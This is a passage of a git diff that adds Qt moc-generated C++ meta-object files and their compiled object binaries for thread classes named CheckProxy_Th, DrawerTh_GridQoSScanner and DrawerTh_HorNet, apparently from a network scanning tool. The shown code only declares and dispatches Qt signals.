zsvGVo@vW*~Tn$<+Kipa?`_=lDMxKVWd`8y69N+Qs27PPE7fvkZ!9=2{h+J38PFGjM zax-68@?({<VYNo$$P1O$a=Y8*D_g8oS4$nW>2|kE%`L9C!bXkt;*uIGHtKae#f`9f zWh;LU<&3hVtI{ZSIXh9RwjQY6^$d+Q*XvO^%3QfIm9KaFFYvxk+q!-?{s%tr5=|L6 ze)X2QFTXRi&8e@@CHi=$1_3`rm*6#kM8Kb+OYm<4Bm$0iJ;7;v)`U0BVY&q0AHiDx zNdr&Pm*0Q*H}%atzZl~O^8g!(i?M@%;Tw(M;vac_*}&yZ41VzLDf$=-$oBtq1Z)3C zh!=f^^&4E=H~SPRxOB;HmYgSm<NKPB$bpXvNUf=#HE>g3<_co@J%=C38F(5uBH-p3 zQQo_OON~KKVgY{&0MjJ5z{donHpe{hapuu@%mdf|(Qv<D;P|E`be<XLPY6iuW#)lP z4uC2Kev)}KYX*MGz=egMuS$nnbDmL4IhL98EHws^InR7_)fQ=ekLm|CBqVbJ443$o l`2i;Hbg+35HzMGjw{)d8H5%b&z3mz}Y_i;c*TS!J|DW0|KA->q literal 0 HcmV?d00001 diff --git a/moc_CheckProxy_Th.cpp b/moc_CheckProxy_Th.cpp new file mode 100644 index 0000000..d221303 --- /dev/null +++ b/moc_CheckProxy_Th.cpp @@ -0,0 +1,194 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'CheckProxy_Th.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "CheckProxy_Th.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'CheckProxy_Th.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_CheckProxy_Th_t { + QByteArrayData data[7]; + char stringdata[111]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_CheckProxy_Th_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_CheckProxy_Th_t qt_meta_stringdata_CheckProxy_Th = { + { +QT_MOC_LITERAL(0, 0, 13), +QT_MOC_LITERAL(1, 14, 16), +QT_MOC_LITERAL(2, 31, 0), +QT_MOC_LITERAL(3, 32, 18), +QT_MOC_LITERAL(4, 51, 19), +QT_MOC_LITERAL(5, 71, 19), +QT_MOC_LITERAL(6, 91, 19) + }, + "CheckProxy_Th\0changeRedIRCData\0\0" + "changeGreenIRCData\0changeYellowIRCData\0" + "changeRawIRCDataInc\0changeRawIRCDataOut" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_CheckProxy_Th[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 5, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 5, // signalCount + + // signals: name, argc, parameters, tag, flags + 1, 1, 39, 2, 0x06 /* Public */, + 3, 1, 42, 2, 0x06 /* Public */, + 4, 1, 45, 2, 0x06 /* Public */, + 5, 1, 48, 2, 0x06 /* Public */, + 6, 1, 51, 2, 0x06 /* Public */, + + // signals: parameters + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, QMetaType::QString, 2, + QMetaType::Void, QMetaType::QString, 2, + + 0 // eod +}; + +void CheckProxy_Th::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + CheckProxy_Th *_t = static_cast<CheckProxy_Th *>(_o); + switch (_id) { + case 0: _t->changeRedIRCData((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 1: _t->changeGreenIRCData((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 2: _t->changeYellowIRCData((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 3: _t->changeRawIRCDataInc((*reinterpret_cast< QString(*)>(_a[1]))); break; + case 4: _t->changeRawIRCDataOut((*reinterpret_cast< QString(*)>(_a[1]))); break; + default: ; + } + } else if (_c == QMetaObject::IndexOfMethod) { + int *result = reinterpret_cast<int *>(_a[0]); + void **func = reinterpret_cast<void **>(_a[1]); + { + typedef void (CheckProxy_Th::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&CheckProxy_Th::changeRedIRCData)) { + *result = 0; + } + } + { + typedef void (CheckProxy_Th::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&CheckProxy_Th::changeGreenIRCData)) { + *result = 1; + } + } + { + typedef void (CheckProxy_Th::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&CheckProxy_Th::changeYellowIRCData)) { + *result = 2; + } + } + { + typedef void (CheckProxy_Th::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&CheckProxy_Th::changeRawIRCDataInc)) { + *result = 3; + } + } + { + typedef void (CheckProxy_Th::*_t)(QString ); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&CheckProxy_Th::changeRawIRCDataOut)) { + *result = 4; + } + } + } +} + +const QMetaObject CheckProxy_Th::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_CheckProxy_Th.data, + qt_meta_data_CheckProxy_Th, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *CheckProxy_Th::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *CheckProxy_Th::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_CheckProxy_Th.stringdata)) + return static_cast<void*>(const_cast< CheckProxy_Th*>(this)); + return QThread::qt_metacast(_clname); +} + +int CheckProxy_Th::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 5) + qt_static_metacall(this, _c, _id, _a); + _id -= 5; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 5) + *reinterpret_cast<int*>(_a[0]) = -1; + _id -= 5; + } + return _id; +} + +// SIGNAL 0 +void CheckProxy_Th::changeRedIRCData(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 0, _a); +} + +// SIGNAL 1 +void CheckProxy_Th::changeGreenIRCData(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 1, _a); +} + +// SIGNAL 2 +void CheckProxy_Th::changeYellowIRCData(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 2, _a); +} + +// SIGNAL 3 +void CheckProxy_Th::changeRawIRCDataInc(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 3, _a); +} + +// SIGNAL 4 +void CheckProxy_Th::changeRawIRCDataOut(QString _t1) +{ + void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; + QMetaObject::activate(this, &staticMetaObject, 4, _a); +} +QT_END_MOC_NAMESPACE diff --git a/moc_CheckProxy_Th.o b/moc_CheckProxy_Th.o new file mode 100644 index 0000000000000000000000000000000000000000..3f2cde88baaa7a08280e0df1cf807bedd1ffce77 GIT binary patch literal 12352 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 V)%Ep&g2PUb8zJ`(*+269<-eeV<`w_| literal 0 HcmV?d00001 diff --git a/moc_DrawerTh_GridQoSScanner.cpp b/moc_DrawerTh_GridQoSScanner.cpp new file mode 100644 index 0000000..95df19e --- /dev/null +++ b/moc_DrawerTh_GridQoSScanner.cpp @@ -0,0 +1,124 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'DrawerTh_GridQoSScanner.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "DrawerTh_GridQoSScanner.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'DrawerTh_GridQoSScanner.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_DrawerTh_GridQoSScanner_t { + QByteArrayData data[3]; + char stringdata[34]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_DrawerTh_GridQoSScanner_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_DrawerTh_GridQoSScanner_t qt_meta_stringdata_DrawerTh_GridQoSScanner = { + { +QT_MOC_LITERAL(0, 0, 23), +QT_MOC_LITERAL(1, 24, 8), +QT_MOC_LITERAL(2, 33, 0) + }, + "DrawerTh_GridQoSScanner\0sAddLine\0" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_DrawerTh_GridQoSScanner[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 1, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 1, // signalCount + + // signals: name, argc, parameters, tag, flags + 1, 0, 19, 2, 0x06 /* Public */, + + // signals: parameters + QMetaType::Void, + + 0 // eod +}; + +void DrawerTh_GridQoSScanner::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + DrawerTh_GridQoSScanner *_t = static_cast<DrawerTh_GridQoSScanner *>(_o); + switch (_id) { + case 0: _t->sAddLine(); break; + default: ; + } + } else if (_c == QMetaObject::IndexOfMethod) { + int *result = reinterpret_cast<int *>(_a[0]); + void **func = reinterpret_cast<void **>(_a[1]); + { + typedef void (DrawerTh_GridQoSScanner::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_GridQoSScanner::sAddLine)) { + *result = 0; + } + } + } + Q_UNUSED(_a); +} + +const QMetaObject DrawerTh_GridQoSScanner::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_DrawerTh_GridQoSScanner.data, + qt_meta_data_DrawerTh_GridQoSScanner, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *DrawerTh_GridQoSScanner::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *DrawerTh_GridQoSScanner::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_DrawerTh_GridQoSScanner.stringdata)) + return static_cast<void*>(const_cast< DrawerTh_GridQoSScanner*>(this)); + return QThread::qt_metacast(_clname); +} + +int DrawerTh_GridQoSScanner::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 1) + qt_static_metacall(this, _c, _id, _a); + _id -= 1; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 1) + *reinterpret_cast<int*>(_a[0]) = -1; + _id -= 1; + } + return _id; +} + +// SIGNAL 0 +void DrawerTh_GridQoSScanner::sAddLine() +{ + QMetaObject::activate(this, &staticMetaObject, 0, 0); +} +QT_END_MOC_NAMESPACE diff --git a/moc_DrawerTh_GridQoSScanner.o b/moc_DrawerTh_GridQoSScanner.o new file mode 100644 index 0000000000000000000000000000000000000000..1ecaad346386bfcd8ee13a41d706bf0ad742d3b8 GIT binary patch literal 8072 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 literal 0 HcmV?d00001 diff --git a/moc_DrawerTh_HorNet.cpp b/moc_DrawerTh_HorNet.cpp new file mode 100644 index 0000000..5bad0e0 --- /dev/null +++ b/moc_DrawerTh_HorNet.cpp @@ -0,0 +1,157 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'DrawerTh_HorNet.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "DrawerTh_HorNet.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'DrawerTh_HorNet.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_DrawerTh_HorNet_t { + QByteArrayData data[5]; + char stringdata[51]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_DrawerTh_HorNet_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_DrawerTh_HorNet_t qt_meta_stringdata_DrawerTh_HorNet = { + { +QT_MOC_LITERAL(0, 0, 15), +QT_MOC_LITERAL(1, 16, 14), +QT_MOC_LITERAL(2, 